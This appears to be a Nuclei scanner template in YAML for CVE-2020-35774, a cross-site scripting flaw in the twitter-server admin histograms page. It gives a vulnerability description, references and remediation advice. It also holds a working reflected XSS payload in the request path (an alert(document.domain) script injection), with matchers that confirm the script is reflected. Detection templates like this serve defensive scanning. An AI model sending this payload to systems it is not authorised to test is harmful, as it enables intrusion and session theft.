52 lines
2.0 KiB
YAML
52 lines
2.0 KiB
YAML
id: CVE-2020-35774
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info:
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name: twitter-server Cross-Site Scripting
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author: pikpikcu
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severity: medium
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description: |
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twitter-server before 20.12.0 is vulnerable to cross-site scripting in some configurations. The vulnerability exists in the administration panel of twitter-server in the histograms component via server/handler/HistogramQueryHandler.scala.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.
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remediation: |
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Apply the latest security patches or updates provided by Twitter to mitigate the XSS vulnerability.
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reference:
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- https://advisory.checkmarx.net/advisory/CX-2020-4287
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- https://nvd.nist.gov/vuln/detail/CVE-2020-35774
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- https://github.com/twitter/twitter-server/commit/e0aeb87e89a6e6c711214ee2de0dd9f6e5f9cb6c
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- https://github.com/twitter/twitter-server/compare/twitter-server-20.10.0...twitter-server-20.12.0
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2020-35774
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cwe-id: CWE-79
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epss-score: 0.97127
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epss-percentile: 0.99743
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cpe: cpe:2.3:a:twitter:twitter-server:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: twitter
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product: twitter-server
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tags: cve,cve2020,xss,twitter-server,twitter
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http:
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- method: GET
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path:
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- "{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '</script><script>alert(document.domain)</script>'
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100e6aa57b76c0236b67430b4ff847b39442332bb52e1b31497f86fb12deaeaea2c022100b1940b746707ca056bbdb8b211cfdfe84e84429a2c05e49f0fcb4f98b58beb19:922c64590222798bb761d5b6d8e72950 |